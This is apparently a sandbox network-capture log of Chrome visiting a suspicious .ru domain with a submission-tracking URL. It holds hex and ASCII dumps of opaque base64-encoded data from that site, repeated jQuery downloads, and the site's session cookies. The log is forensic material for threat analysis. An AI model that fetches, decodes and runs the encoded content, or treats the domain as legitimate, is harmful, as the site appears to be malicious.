2024-12-16 17:45:37 UTC	1369	IN	Data Raw: 56 56 6e 51 55 46 42 57 55 46 42 51 55 46 48 51 55 4e 42 54 55 46 42 51 55 4e 55 52 31 56 58 54 6b 46 42 51 55 46 4a 52 30 35 4a 56 57 73 77 51 55 46 49 62 32 31 42 51 55 4e 42 61 45 46 42 51 53 74 6e 51 55 46 42 53 55 52 76 51 55 46 43 4d 55 31 42 51 55 45 32 62 55 46 42 51 55 52 78 57 55 46 42 51 56 68 6a 53 6e 6b 32 56 56 52 33 51 55 46 42 52 6e 68 56 52 58 68 56 55 6c 46 42 51 55 46 4d 4f 47 64 4a 55 43 73 76 51 55 31 4e 61 30 68 4e 56 57 6c 49 63 31 56 71 53 55 31 56 61 55 67 34 56 57 6c 49 4f 46 56 71 53 44 68 5a 61 6b 67 34 54 57 6c 49 64 6e 6b 34 51 53 39 78 4f 45 46 32 65 54 68 43 5a 6e 55 34 51 6c 42 78 4f 55 45 76 64 54 68 43 55 48 55 33 51 6b 31 52 61 55 67 34 55 57 78 48 4c 33 55 35 51 6c 42 35 4f 45 45 76 4b 79 39 42 54 57 4e 71 53 48 49 34 Data Ascii: VVnQUFBWUFBQUFHQUNBTUFBQUNUR1VXTkFBQUFJR05JVWswQUFIb21BQUNBaEFBQStnQUFBSURvQUFCMU1BQUE2bUFBQURxWUFBQVhjSnk2VVR3QUFBRnhVRXhVUlFBQUFMOGdJUCsvQU1Na0hNVWlIc1VqSU1VaUg4VWlIOFVqSDhZakg4TWlIdnk4QS9xOEF2eThCZnU4QlBxOUEvdThCUHU3Qk1RaUg4UWxHL3U5QlB5OEEvKy9BTWNqSHI4
2024-12-16 17:45:37 UTC	1369	IN	Data Raw: 5a 32 64 6a 63 79 4e 7a 68 34 59 79 38 31 55 44 49 33 4f 54 6b 32 56 6e 46 33 5a 55 68 61 4d 32 4a 33 4e 46 46 6b 4d 46 67 31 62 47 59 76 4d 32 4a 51 65 6d 34 76 61 32 31 32 59 30 34 76 54 46 6f 76 63 57 56 51 4e 6d 31 33 57 6a 5a 36 4b 33 63 35 5a 56 41 76 64 47 64 57 4d 7a 52 68 53 30 31 4b 4f 58 45 35 4b 7a 64 49 51 6d 63 78 4e 69 39 78 5a 6b 46 33 51 7a 55 78 4f 47 31 6c 54 6b 51 33 52 6d 63 30 54 47 35 49 4b 31 5a 52 54 30 64 6b 59 33 67 34 55 47 35 59 4b 31 6f 30 51 6c 42 6c 4f 58 68 6f 4e 31 5a 36 4e 46 70 50 64 6a 68 35 64 32 46 6c 52 58 6f 72 64 7a 6c 47 53 46 41 72 65 46 49 31 63 54 5a 72 5a 57 6b 76 57 57 52 71 65 6e 49 76 57 58 63 32 53 32 5a 55 59 54 6c 47 4c 32 5a 47 5a 6d 5a 33 5a 32 45 72 61 57 49 30 5a 45 35 52 5a 69 38 76 56 30 68 52 55 Data Ascii: Z2djcyNzh4Yy81UDI3OTk2VnF3ZUhaM2J3NFFkMFg1bGYvM2JQem4va212Y04vTFovcWVQNm13WjZ6K3c5ZVAvdGdWMzRhS01KOXE5KzdIQmcxNi9xZkF3QzUxOG1lTkQ3Rmc0TG5IK1ZRT0dkY3g4UG5YK1o0QlBlOXhoN1Z6NFpPdjh5d2FlRXordzlGSFAreFI1cTZrZWkvWWRqenIvWXc2S2ZUYTlGL2ZGZmZ3Z2EraWI0ZE5RZi8vV0hRU
2024-12-16 17:45:37 UTC	1369	IN	Data Raw: 36 4d 79 73 72 65 6a 68 4c 51 32 46 45 52 6c 56 45 4e 43 38 32 5a 30 67 72 4b 32 45 34 4e 7a 52 52 52 45 67 76 4c 7a 56 51 53 31 46 47 56 55 64 43 54 48 64 76 65 44 4e 6e 64 69 38 72 4e 30 56 34 55 47 63 72 52 6d 6c 55 53 57 52 49 64 6c 68 76 52 57 68 44 56 43 73 32 51 57 51 31 4f 54 63 34 4e 6d 52 35 51 55 4e 68 52 45 31 73 4b 79 73 78 53 30 64 61 55 48 6c 76 51 6e 42 71 65 6b 56 34 4f 55 46 72 55 30 68 77 51 56 56 52 54 55 4e 6d 62 6c 4a 45 54 45 52 6e 53 6e 6c 48 51 55 68 72 55 47 6c 44 64 32 64 5a 61 33 5a 4c 61 6b 59 79 52 45 5a 55 4d 55 6c 42 54 46 6c 69 61 30 6f 34 61 47 78 54 54 54 5a 51 56 32 39 42 4d 56 41 79 61 30 4a 73 51 6d 70 54 54 30 56 4a 56 31 46 33 63 6a 68 68 51 56 68 5a 4f 45 70 4e 57 56 46 4a 59 32 68 73 55 33 52 72 54 55 74 55 51 6d Data Ascii: 6MysrejhLQ2FERlVENC82Z0grK2E4NzRRREgvLzVQS1FGVUdCTHdveDNndi8rN0V4UGcrRmlUSWRIdlhvRWhDVCs2QWQ1OTc4NmR5QUNhRE1sKysxS0daUHlvQnBqekV4OUFrU0hwQVVRTUNmblJETERnSnlHQUhrUGlDd2dZa3ZLakYyREZUMUlBTFlia0o4aGxTTTZQV29BMVAya0JsQmpTT0VJV1F3cjhhQVhZOEpNWVFJY2hsU3RrTUtUQm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.17	49774	151.101.66.137	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:40 UTC	622	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://qb06.ffcwygff.ru/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:40 UTC	615	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 16 Dec 2024 17:45:40 GMT Age: 2892671 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740078-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 197 X-Timer: S1734371140.321893,VS0,VE0 Vary: Accept-Encoding
2024-12-16 17:45:40 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-16 17:45:40 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-16 17:45:40 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-16 17:45:40 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-16 17:45:40 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
2024-12-16 17:45:40 UTC	7581	IN	Data Raw: 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 72 3d 69 2e 78 68 72 28 29 3b 69 66 28 72 2e 6f 70 65 6e 28 69 2e 74 79 70 65 2c 69 2e 75 72 6c 2c 69 2e 61 73 79 6e 63 2c 69 2e 75 73 65 72 6e 61 6d 65 2c 69 2e 70 61 73 73 77 6f 72 64 29 2c 69 2e 78 68 72 46 69 65 6c 64 73 29 66 6f 72 28 6e 20 69 6e 20 69 2e 78 68 72 46 69 65 6c 64 73 29 72 5b 6e 5d 3d 69 2e 78 68 72 46 69 65 6c 64 73 5b 6e 5d 3b 66 6f 72 28 6e 20 69 6e 20 69 2e 6d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 26 26 72 2e 6f 76 65 72 72 69 64 65 4d 69 6d 65 54 79 70 65 28 69 2e 6d 69 6d 65 54 79 70 65 29 2c 69 2e 63 72 6f 73 73 44 6f 6d 61 69 6e 7c 7c 65 5b 22 58 2d 52 65 71 75 65 73 74 65 64 2d 57 69 74 68 22 5d 7c 7c 28 65 5b 22 58 2d 52 Data Ascii: :function(e,t){var n,r=i.xhr();if(r.open(i.type,i.url,i.async,i.username,i.password),i.xhrFields)for(n in i.xhrFields)r[n]=i.xhrFields[n];for(n in i.mimeType&&r.overrideMimeType&&r.overrideMimeType(i.mimeType),i.crossDomain\|\|e["X-Requested-With"]\|\|(e["X-R

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.17	49772	104.21.60.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:41 UTC	1369	OUT	GET /favicon.ico HTTP/1.1 Host: qb06.ffcwygff.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://qb06.ffcwygff.ru/5G4YV/?submissionGuid=3af40c8e-6398-4d26-a0df-f71e1dfd4413 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IndReHZDbHBwR2pSa0lHNDZoKzNHL2c9PSIsInZhbHVlIjoia3JmMy9CWjd2MXNIZFMxbDIzS3M3U2hkbmlwdVNjOVQyNGZ1aXF6dnViVkd2ZjZzYW40T1R3M3hLL0hrVEtqMW51dkJRbFAwdzQzVFJwSFhlb00zT3IyNEttR0kzWlN3R0ZIdlFBOEQyQzVaTm1XYzlUTmVkTVJ2Tk5oNU1TNHkiLCJtYWMiOiJhY2U0YjMxM2VhOTE0YmVjMzA4MmZjNGFmYjkyOTk2ZDY5ODFkYmQ5OTFkMzlmZDM2ZTgzNjBmZjdiOTYyN2JmIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImJLTHd3MXVwUjBkU1RoL1ZBREtUVHc9PSIsInZhbHVlIjoiUFUraEVUeHRzZ2JFM0MxQUxCN3plditLK1pwY1VMRFQwVmg1NGdLNHQxVGdNclVFN0k0TEdNem5aNEllY0RHRWdPWk5ycitNOHdDUWNnQjlaNVRvQWVKNXNPdENlRlRjTktnUGNXbE9HZjQ5YmYvbUREUDdBODdsdi84NXBJVFUiLCJtYWMiOiI2MzczNmE5N2ZhMGI2MzU0ODc4NjhmZDE5NGRkMTEyOThiY2UzYzZlOGRkYWEzMmM1Nzg0MDk3ZWMyODY0NDQ2IiwidGFnIjoiIn0%3D
2024-12-16 17:45:41 UTC	1072	IN	HTTP/1.1 404 Not Found Date: Mon, 16 Dec 2024 17:45:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=14400 Age: 228 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5NYWLzRDuI80nlS2YUt7wvWcKj9npwTtL4vSZbECRoDtAsdQ%2F33Q4chrrK6cejR9N3xMEEWZ17JNA9jX6bAqGnzKHrejHug8oSLeB66J9Pau5tobx5VJV21iIfoRSA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1208&min_rtt=929&rtt_var=141&sent=288&recv=169&lost=0&retrans=2&sent_bytes=308207&recv_bytes=17328&delivery_rate=17126057&cwnd=257&unsent_bytes=0&cid=ce1e688969762f5e&ts=20381&x=0" CF-Cache-Status: HIT Server: cloudflare CF-RAY: 8f307d10af0b0f5f-EWR server-timing: cfL4;desc="?proto=TCP&rtt=1526&min_rtt=1522&rtt_var=579&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2824&recv_bytes=1947&delivery_rate=1874197&cwnd=234&unsent_bytes=0&cid=1ec39edbe882c1e4&ts=4462&x=0"
2024-12-16 17:45:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.17	49775	151.101.194.137	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:42 UTC	358	OUT	GET /jquery-3.6.0.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:42 UTC	615	IN	HTTP/1.1 200 OK Connection: close Content-Length: 89501 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-15d9d" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Date: Mon, 16 Dec 2024 17:45:42 GMT Age: 2892674 X-Served-By: cache-lga21931-LGA, cache-ewr-kewr1740057-EWR X-Cache: HIT, HIT X-Cache-Hits: 2774, 213 X-Timer: S1734371143.615126,VS0,VE0 Vary: Accept-Encoding
2024-12-16 17:45:42 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 30 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 6a 51 75 Data Ascii: /! jQuery v3.6.0 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQu
2024-12-16 17:45:42 UTC	16384	IN	Data Raw: 2c 64 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 70 26 26 28 64 3d 73 3d 28 72 3d 28 69 3d 28 6f 3d 28 61 3d 65 29 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6f 5b 61 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 29 5b 68 5d 7c 7c 5b 5d 29 5b 30 5d 3d 3d 3d 6b 26 26 72 5b 31 5d 29 2c 21 31 3d 3d 3d 64 29 77 68 69 6c 65 28 61 3d 2b 2b 73 26 26 61 26 26 61 5b 6c 5d 7c 7c 28 64 3d 73 3d 30 29 7c 7c 75 2e 70 6f 70 28 29 29 69 66 28 28 78 3f 61 2e 6e 6f 64 65 4e 61 6d 65 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 3d 3d 3d 66 3a 31 3d 3d 3d 61 2e 6e 6f 64 65 54 79 70 65 29 26 26 2b 2b 64 26 26 28 70 26 26 28 28 69 3d 28 6f 3d 61 5b 53 5d 7c 7c 28 61 5b 53 5d 3d 7b 7d 29 29 5b 61 2e 75 6e 69 71 75 65 49 44 5d 7c Data Ascii: ,d];break}}else if(p&&(d=s=(r=(i=(o=(a=e)[S]\|\|(a[S]={}))[a.uniqueID]\|\|(o[a.uniqueID]={}))[h]\|\|[])[0]===k&&r[1]),!1===d)while(a=++s&&a&&a[l]\|\|(d=s=0)\|\|u.pop())if((x?a.nodeName.toLowerCase()===f:1===a.nodeType)&&++d&&(p&&((i=(o=a[S]\|\|(a[S]={}))[a.uniqueID]\|
2024-12-16 17:45:43 UTC	16384	IN	Data Raw: 22 6d 73 2d 22 29 2e 72 65 70 6c 61 63 65 28 7a 2c 55 29 7d 76 61 72 20 56 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 31 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 39 3d 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 7c 7c 21 2b 65 2e 6e 6f 64 65 54 79 70 65 7d 3b 66 75 6e 63 74 69 6f 6e 20 47 28 29 7b 74 68 69 73 2e 65 78 70 61 6e 64 6f 3d 53 2e 65 78 70 61 6e 64 6f 2b 47 2e 75 69 64 2b 2b 7d 47 2e 75 69 64 3d 31 2c 47 2e 70 72 6f 74 6f 74 79 70 65 3d 7b 63 61 63 68 65 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3b 72 65 74 75 72 6e 20 74 7c 7c 28 74 3d 7b 7d 2c 56 28 65 29 26 26 28 65 2e 6e 6f 64 65 54 79 70 65 3f 65 5b 74 68 69 73 2e 65 78 70 61 6e 64 6f 5d 3d 74 3a 4f 62 6a 65 63 74 2e Data Ascii: "ms-").replace(z,U)}var V=function(e){return 1===e.nodeType\|\|9===e.nodeType\|\|!+e.nodeType};function G(){this.expando=S.expando+G.uid++}G.uid=1,G.prototype={cache:function(e){var t=e[this.expando];return t\|\|(t={},V(e)&&(e.nodeType?e[this.expando]=t:Object.
2024-12-16 17:45:43 UTC	16384	IN	Data Raw: 72 5d 29 3b 65 6c 73 65 20 4c 65 28 65 2c 63 29 3b 72 65 74 75 72 6e 20 30 3c 28 61 3d 76 65 28 63 2c 22 73 63 72 69 70 74 22 29 29 2e 6c 65 6e 67 74 68 26 26 79 65 28 61 2c 21 66 26 26 76 65 28 65 2c 22 73 63 72 69 70 74 22 29 29 2c 63 7d 2c 63 6c 65 61 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6e 2c 72 2c 69 3d 53 2e 65 76 65 6e 74 2e 73 70 65 63 69 61 6c 2c 6f 3d 30 3b 76 6f 69 64 20 30 21 3d 3d 28 6e 3d 65 5b 6f 5d 29 3b 6f 2b 2b 29 69 66 28 56 28 6e 29 29 7b 69 66 28 74 3d 6e 5b 59 2e 65 78 70 61 6e 64 6f 5d 29 7b 69 66 28 74 2e 65 76 65 6e 74 73 29 66 6f 72 28 72 20 69 6e 20 74 2e 65 76 65 6e 74 73 29 69 5b 72 5d 3f 53 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 6e 2c 72 29 3a 53 2e 72 65 6d 6f 76 65 45 76 65 Data Ascii: r]);else Le(e,c);return 0<(a=ve(c,"script")).length&&ye(a,!f&&ve(e,"script")),c},cleanData:function(e){for(var t,n,r,i=S.event.special,o=0;void 0!==(n=e[o]);o++)if(V(n)){if(t=n[Y.expando]){if(t.events)for(r in t.events)i[r]?S.event.remove(n,r):S.removeEve
2024-12-16 17:45:43 UTC	16384	IN	Data Raw: 53 2e 65 78 74 65 6e 64 28 7b 61 74 74 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 76 61 72 20 72 2c 69 2c 6f 3d 65 2e 6e 6f 64 65 54 79 70 65 3b 69 66 28 33 21 3d 3d 6f 26 26 38 21 3d 3d 6f 26 26 32 21 3d 3d 6f 29 72 65 74 75 72 6e 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 3f 53 2e 70 72 6f 70 28 65 2c 74 2c 6e 29 3a 28 31 3d 3d 3d 6f 26 26 53 2e 69 73 58 4d 4c 44 6f 63 28 65 29 7c 7c 28 69 3d 53 2e 61 74 74 72 48 6f 6f 6b 73 5b 74 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5d 7c 7c 28 53 2e 65 78 70 72 2e 6d 61 74 63 68 2e 62 6f 6f 6c 2e 74 65 73 74 28 74 29 3f 63 74 3a 76 6f 69 64 20 30 29 29 2c 76 6f 69 64 20 30 21 3d 3d 6e 3f 6e 75 6c 6c 3d 3d 3d 6e 3f 76 6f 69 64 20 53 2e 72 65 6d Data Ascii: S.extend({attr:function(e,t,n){var r,i,o=e.nodeType;if(3!==o&&8!==o&&2!==o)return"undefined"==typeof e.getAttribute?S.prop(e,t,n):(1===o&&S.isXMLDoc(e)\|\|(i=S.attrHooks[t.toLowerCase()]\|\|(S.expr.match.bool.test(t)?ct:void 0)),void 0!==n?null===n?void S.rem
